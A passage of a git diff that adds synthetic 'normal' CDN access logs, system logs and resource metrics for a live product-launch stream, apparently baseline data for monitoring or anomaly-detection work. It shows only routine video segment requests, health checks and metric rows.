/live/product-launch-2025/segment388.ts status=206 Partial Content +Jul 22 10:06:05 cdn-edge-server[5678]: 203.0.115.237 GET /live/product-launch-2025/segment376.ts status=206 Partial Content +Jul 22 10:06:05 cdn-edge-server[5678]: 203.0.114.168 GET /live/product-launch-2025/segment380.ts status=206 Partial Content +Jul 22 10:06:05 cdn-edge-server[5678]: 203.0.114.39 GET /live/product-launch-2025/segment386.ts status=206 Partial Content +Jul 22 10:06:15 cdn-edge-server[5678]: 203.0.117.77 GET /live/product-launch-2025/segment398.ts status=206 Partial Content +Jul 22 10:06:15 cdn-edge-server[5678]: 203.0.116.55 GET /live/product-launch-2025/segment390.ts status=206 Partial Content +Jul 22 10:06:15 cdn-edge-server[5678]: 203.0.117.72 GET /live/product-launch-2025/segment384.ts status=206 Partial Content +Jul 22 10:06:15 cdn-edge-server[5678]: 203.0.118.243 GET /live/product-launch-2025/segment389.ts status=206 Partial Content +Jul 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod streaming-app +Jul 22 10:06:20 cdn-edge-server[5678]: 203.0.116.25 GET /live/product-launch-2025/segment384.ts status=206 Partial Content +Jul 22 10:06:20 cdn-edge-server[5678]: 203.0.117.224 GET /live/product-launch-2025/segment396.ts status=206 Partial Content +Jul 22 10:06:20 cdn-edge-server[5678]: 203.0.119.14 GET /live/product-launch-2025/segment393.ts status=206 Partial Content +Jul 22 10:06:25 cdn-edge-server[5678]: 203.0.115.55 GET /live/product-launch-2025/segment406.ts status=206 Partial Content +Jul 22 10:06:25 cdn-edge-server[5678]: 203.0.116.155 GET /live/product-launch-2025/segment408.ts status=206 Partial Content +Jul 22 10:06:25 cdn-edge-server[5678]: 203.0.118.125 GET /live/product-launch-2025/segment386.ts status=206 Partial Content +Jul 22 10:06:25 cdn-edge-server[5678]: 203.0.116.99 GET /live/product-launch-2025/segment405.ts status=206 Partial Content +Jul 22 10:06:35 cdn-edge-server[5678]: 203.0.114.115 GET /live/product-launch-2025/segment409.ts status=206 Partial Content +Jul 22 10:06:35 cdn-edge-server[5678]: 203.0.114.108 GET /live/product-launch-2025/segment409.ts status=206 Partial Content +Jul 22 10:06:45 cdn-edge-server[5678]: 203.0.115.210 GET /live/product-launch-2025/segment406.ts status=206 Partial Content +Jul 22 10:06:45 cdn-edge-server[5678]: 203.0.116.70 GET /live/product-launch-2025/segment412.ts status=206 Partial Content +Jul 22 10:06:45 cdn-edge-server[5678]: 203.0.119.166 GET /live/product-launch-2025/segment411.ts status=206 Partial Content +Jul 22 10:06:45 cdn-edge-server[5678]: 203.0.115.242 GET /live/product-launch-2025/segment411.ts status=206 Partial Content +Jul 22 10:06:50 cdn-edge-server[5678]: 203.0.113.221 GET /live/product-launch-2025/segment434.ts status=206 Partial Content +Jul 22 10:06:50 cdn-edge-server[5678]: 203.0.111.187 GET /live/product-launch-2025/segment413.ts status=206 Partial Content +Jul 22 10:06:50 cdn-edge-server[5678]: 203.0.119.85 GET /live/product-launch-2025/segment428.ts status=206 Partial Content +Jul 22 10:06:55 cdn-edge-server[5678]: 203.0.119.29 GET /live/product-launch-2025/segment418.ts status=206 Partial Content +Jul 22 10:06:55 cdn-edge-server[5678]: 203.0.112.116 GET /live/product-launch-2025/segment437.ts status=206 Partial Content +Jul 22 10:06:55 cdn-edge-server[5678]: 203.0.111.68 GET /live/product-launch-2025/segment419.ts status=206 Partial Content +Jul 22 10:07:00 cdn-edge-server[5678]: 203.0.118.103 GET /live/product-launch-2025/segment430.ts status=206 Partial Content +Jul 22 10:07:00 cdn-edge-server[5678]: 203.0.111.70 GET /live/product-launch-2025/segment420.ts status=206 Partial Content +Jul 22 10:07:00 cdn-edge-server[5678]: 203.0.114.151 GET /live/product-launch-2025/segment441.ts status=206 Partial Content +Jul 22 10:07:10 cdn-edge-server[5678]: 203.0.117.198 GET /live/product-launch-2025/segment435.ts status=206 Partial Content +Jul 22 10:07:10 cdn-edge-server[5678]: 203.0.113.25 GET /live/product-launch-2025/segment452.ts status=206 Partial Content +Jul 22 10:07:10 cdn-edge-server[5678]: 203.0.119.199 GET /live/product-launch-2025/segment452.ts status=206 Partial Content +Jul 22 10:07:15 cdn-edge-server[5678]: 203.0.119.118 GET /live/product-launch-2025/segment455.ts status=206 Partial Content +Jul 22 10:07:15 cdn-edge-server[5678]: 203.0.111.193 GET /live/product-launch-2025/segment441.ts status=206 Partial Content +Jul 22 10:07:25 cdn-edge-server[5678]: 203.0.118.216 GET /live/product-launch-2025/segment465.ts status=206 Partial Content +Jul 22 10:07:25 cdn-edge-server[5678]: 203.0.115.120 GET /live/product-launch-2025/segment449.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_3.csv b/norm_dataset/scenario_7/norm_7_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..24ef1a16b7e905477f6d04a421b86a0bc2c6b2be --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_out,disk_io,net_in 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+2025-07-10T10:06:25Z,86.0,67.37,382.41,36.56,11.06 +2025-07-10T10:06:30Z,91.24,56.16,520.14,44.98,11.82 +2025-07-10T10:06:35Z,82.32,54.59,649.18,37.89,11.41 +2025-07-10T10:06:40Z,84.77,60.36,536.99,41.15,10.9 +2025-07-10T10:06:45Z,80.15,63.78,573.26,32.1,7.92 +2025-07-10T10:06:50Z,87.05,58.89,543.61,35.66,8.56 +2025-07-10T10:06:55Z,80.08,64.24,557.73,38.83,10.59 +2025-07-10T10:07:00Z,80.07,56.43,510.11,44.52,10.9 +2025-07-10T10:07:05Z,78.82,55.47,436.96,44.33,12.0 +2025-07-10T10:07:10Z,82.19,65.19,461.66,31.52,8.66 +2025-07-10T10:07:15Z,89.39,57.99,460.77,43.9,12.13 +2025-07-10T10:07:20Z,84.3,60.2,467.75,32.83,7.41 +2025-07-10T10:07:25Z,89.05,58.45,346.82,30.81,11.36 diff --git a/norm_dataset/scenario_7/norm_7_3.log b/norm_dataset/scenario_7/norm_7_3.log new file mode 100644 index 0000000000000000000000000000000000000000..d3ce4bf815e3882aa7b5a69fad90f7a3fdc59e2b --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_3.log @@ -0,0 +1,112 @@ +Jul 10 10:00:00 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:20 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:00:40 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:00:50 systemd[1]: Starting daily clean up activities... +Jul 10 10:01:00 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:01:20 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:01:40 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 10 10:02:00 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:02:20 web-app[2245]: GET /api/v1/status status=200 OK +Jul 10 10:02:30 web-app[2245]: INFO: Live stream 'product-launch-2025' has started. +Jul 10 10:02:30 web-app[2245]: INFO: Current viewers: 50000. +Jul 10 10:02:30 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment101.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:30 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment102.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:30 cdn-access: 198.51.100.4 - - [10/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment103.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:02:30 cdn-access: 198.51.100.10 - - [10/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment104.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:02:30 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment105.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:40 cdn-access: 198.51.100.16 - - [10/Jul/2025:10:02:40 +0000] "GET /live/product-launch-2025/segment106.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:02:40 cdn-access: 198.51.100.13 - - [10/Jul/2025:10:02:40 +0000] "GET /live/product-launch-2025/segment105.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:50 cdn-access: 198.51.100.13 - - [10/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment110.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:02:50 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment109.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:50 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment110.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:02:50 cdn-access: 198.51.100.3 - - [10/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/segment110.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:00 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment113.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:00 cdn-access: 198.51.100.16 - - [10/Jul/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment114.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:00 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment113.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:00 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:03:00 +0000] "GET /live/product-launch-2025/segment113.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:03:10 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:03:10 +0000] "GET /live/product-launch-2025/segment118.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:10 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:03:10 +0000] "GET /live/product-launch-2025/segment118.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:20 cdn-access: 198.51.100.10 - - [10/Jul/2025:10:03:20 +0000] "GET /live/product-launch-2025/segment122.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:20 cdn-access: 198.51.100.3 - - [10/Jul/2025:10:03:20 +0000] "GET /live/product-launch-2025/segment121.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:03:20 cdn-access: 198.51.100.17 - - [10/Jul/2025:10:03:20 +0000] "GET /live/product-launch-2025/segment121.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:30 cdn-access: 198.51.100.5 - - [10/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/segment125.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:30 cdn-access: 198.51.100.9 - - [10/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/segment125.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:30 cdn-access: 198.51.100.9 - - [10/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/segment126.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:30 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/segment126.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:40 cdn-access: 198.51.100.12 - - [10/Jul/2025:10:03:40 +0000] "GET /live/product-launch-2025/segment129.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:03:40 cdn-access: 198.51.100.5 - - [10/Jul/2025:10:03:40 +0000] "GET /live/product-launch-2025/segment129.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:03:45 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 10 10:03:50 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:03:50 +0000] "GET /live/product-launch-2025/segment133.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:03:50 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:03:50 +0000] "GET /live/product-launch-2025/segment133.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:03:50 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:03:50 +0000] "GET /live/product-launch-2025/segment134.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:00 cdn-access: 198.51.100.10 - - [10/Jul/2025:10:04:00 +0000] "GET /live/product-launch-2025/segment137.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:00 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:04:00 +0000] "GET /live/product-launch-2025/segment138.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:00 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:04:00 +0000] "GET /live/product-launch-2025/segment138.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:10 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:04:10 +0000] "GET /live/product-launch-2025/segment142.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:04:10 cdn-access: 198.51.100.9 - - [10/Jul/2025:10:04:10 +0000] "GET /live/product-launch-2025/segment142.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:04:20 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/segment146.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:20 cdn-access: 198.51.100.12 - - [10/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/segment145.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:20 cdn-access: 198.51.100.20 - - [10/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/segment146.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:04:20 cdn-access: 198.51.100.7 - - [10/Jul/2025:10:04:20 +0000] "GET /live/product-launch-2025/segment146.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:30 cdn-access: 198.51.100.13 - - [10/Jul/2025:10:04:30 +0000] "GET /live/product-launch-2025/segment149.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:30 cdn-access: 198.51.100.17 - - [10/Jul/2025:10:04:30 +0000] "GET /live/product-launch-2025/segment150.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:30 cdn-access: 198.51.100.4 - - [10/Jul/2025:10:04:30 +0000] "GET /live/product-launch-2025/segment150.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:04:30 cdn-access: 198.51.100.5 - - [10/Jul/2025:10:04:30 +0000] "GET /live/product-launch-2025/segment150.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:40 cdn-access: 198.51.100.8 - - [10/Jul/2025:10:04:40 +0000] "GET /live/product-launch-2025/segment154.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:40 cdn-access: 198.51.100.7 - - [10/Jul/2025:10:04:40 +0000] "GET /live/product-launch-2025/segment153.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:40 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:04:40 +0000] "GET /live/product-launch-2025/segment154.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:04:40 cdn-access: 198.51.100.13 - - [10/Jul/2025:10:04:40 +0000] "GET /live/product-launch-2025/segment154.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:50 cdn-access: 198.51.100.20 - - [10/Jul/2025:10:04:50 +0000] "GET /live/product-launch-2025/segment158.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:04:50 cdn-access: 198.51.100.15 - - [10/Jul/2025:10:04:50 +0000] "GET /live/product-launch-2025/segment158.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:04:50 cdn-access: 198.51.100.8 - - [10/Jul/2025:10:04:50 +0000] "GET /live/product-launch-2025/segment157.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:05:00 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:05:00 +0000] "GET /live/product-launch-2025/segment162.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:05:00 cdn-access: 198.51.100.13 - - [10/Jul/2025:10:05:00 +0000] "GET /live/product-launch-2025/segment161.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:05:00 cdn-access: 198.51.100.2 - - [10/Jul/2025:10:05:00 +0000] "GET /live/product-launch-2025/segment161.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:00 cdn-access: 198.51.100.19 - - [10/Jul/2025:10:05:00 +0000] "GET /live/product-launch-2025/segment162.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:00 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 10 10:05:10 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/segment165.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:10 cdn-access: 198.51.100.9 - - [10/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/segment165.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:10 cdn-access: 198.51.100.3 - - [10/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/segment166.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:05:20 cdn-access: 198.51.100.1 - - [10/Jul/2025:10:05:20 +0000] "GET /live/product-launch-2025/segment169.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:05:20 cdn-access: 198.51.100.3 - - [10/Jul/2025:10:05:20 +0000] "GET /live/product-launch-2025/segment169.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:30 cdn-access: 198.51.100.5 - - [10/Jul/2025:10:05:30 +0000] "GET /live/product-launch-2025/segment173.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:05:30 cdn-access: 198.51.100.11 - - [10/Jul/2025:10:05:30 +0000] "GET /live/product-launch-2025/segment174.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:05:30 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:05:30 +0000] "GET /live/product-launch-2025/segment174.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Jul 10 10:05:30 cdn-access: 198.51.100.18 - - [10/Jul/2025:10:05:30 +0000] "GET /live/product-launch-2025/segment173.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:40 cdn-access: 198.51.100.10 - - [10/Jul/2025:10:05:40 +0000] "GET /live/product-launch-2025/segment178.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:40 cdn-access: 198.51.100.14 - - [10/Jul/2025:10:05:40 +0000] "GET /live/product-launch-2025/segment177.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:05:50 cdn-access: 198.51.100.6 - - [10/Jul/2025:10:05:50 +0000] "GET /live/product-launch-2025/segment181.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:50 cdn-access: 198.51.100.16 - - [10/Jul/2025:10:05:50 +0000] "GET /live/product-launch-2025/segment182.ts HTTP/2.0" 200 14500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:05:50 cdn-access: 198.51.100.20 - - [10/Jul/2025:10:05:50 +0000] "GET /live/product-launch-2025/segment181.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Jul 10 10:06:00 cdn-access: 198.51.100.4 - - [10/Jul/2025:10:06:00 +0000] "GET /live/product-launch-2025/segment186.ts HTTP/2.0" 206 14500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 10 10:06:00 cdn-access: 198.51.100.19 - - [10/Jul/2025:10:06:00 +0000] "GET /live/product-launch-2025/segment185.ts HTTP/2.0" 206 14500 "-" 